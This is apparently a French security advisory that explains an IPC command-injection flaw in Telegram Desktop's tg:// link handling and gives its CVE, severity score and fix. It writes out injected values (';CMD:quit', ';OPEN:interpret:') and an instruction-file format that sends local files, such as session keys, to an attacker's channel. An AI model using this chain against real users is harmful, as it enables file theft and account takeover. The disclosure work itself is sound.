Contexte technique
Telegram Desktop utilise le protocole tg:// enregistré auprès du système d’exploitation. Lorsqu’un lien tg:// est cliqué, le client vérifie d’abord s’il possède déjà une instance active. Si c’est le cas, le nouveau processus agit comme client et transmet le lien à l’instance serveur via un socket local. Cette architecture « single‑instance » est décrite dans le code source (exemple de création de la chaîne de commandes :
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:" _q + url.toString(QUrl::FullyEncoded) + ';';
}).Le format de sérialisation choisi par Telegram est propriétaire : chaque instruction débute par un mot‑clé, suivi de son argument, et se termine par un point‑virgule. L’instance réceptrice découpe la chaîne à chaque « ; » pour reconstituer les commandes (
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
}).Mécanisme d’injection IPC
Le séparateur « ; » n’est pas échappé lors de la sérialisation. Un attaquant peut donc inclure un point‑virgule dans le paramètre d’une URL. En injectant la séquence « ;CMD:quit », le client envoie la chaîne OPEN:tg://x?a=1;CMD:quit;. Le serveur la découpe en deux instructions distinctes : OPEN:tg://x?a=1 et CMD:quit. Cette injection constitue le premier défaut identifié.
Telegram accepte quatre commandes internes : show, quit, open et interpret. Les trois premières sont sans danger, tandis que interpret permet de charger un fichier texte contenant des instructions de transmission. Aucun filtrage du schéma n’est appliqué à la commande OPEN:, ce qui rend possible l’appel de interpret: depuis un lien externe.
Exploitation via le schéma interpret:
L’URL tg://x?a=1;OPEN:interpret:instructions.txt déclenche l’interpréteur interne. Le fichier instructions.txt possède la forme :
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: …Le champ from: est comparé à l’identifiant du compte connecté, mais la vérification n’est exécutée que si la ligne est présente. En l’omettant, l’attaquant contourne le contrôle d’identité. Le champ file: indique un chemin absolu sur le disque. Telegram lit le fichier, le joint à un message et l’envoie au canal indiqué, sans demander de confirmation ni vérifier l’auteur de la requête. Ainsi, un lien spécialement forgé permet de récupérer les fichiers de session de l’utilisateur, contenant les clés d’authentification.
Impact, correctifs et limites
Le défaut affecte toutes les versions de Telegram Desktop jusqu’à la 7.2.8, confirmées sur Windows 6.9.3 et probablement sur les autres plateformes supportées. Le CVE attribué est CVE‑2026‑107181, classé « High » avec un score CVSS 3.1 de 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N). L’exploitation conduit à une lecture locale de fichiers arbitraires et à la prise de contrôle du compte, car l’attaquant peut récupérer les jetons de session et se connecter depuis un autre appareil.
Le correctif, intégré dans la version 7.2.9 (commit db3405699f), échappe le séparateur « ; » lors de la sérialisation et restreint les URL acceptées par la commande OPEN:. Aucun autre vecteur d’injection connu n’a été signalé dans la documentation publique. Les utilisateurs doivent mettre à jour immédiatement vers 7.2.9 ou supérieur pour éliminer le risque.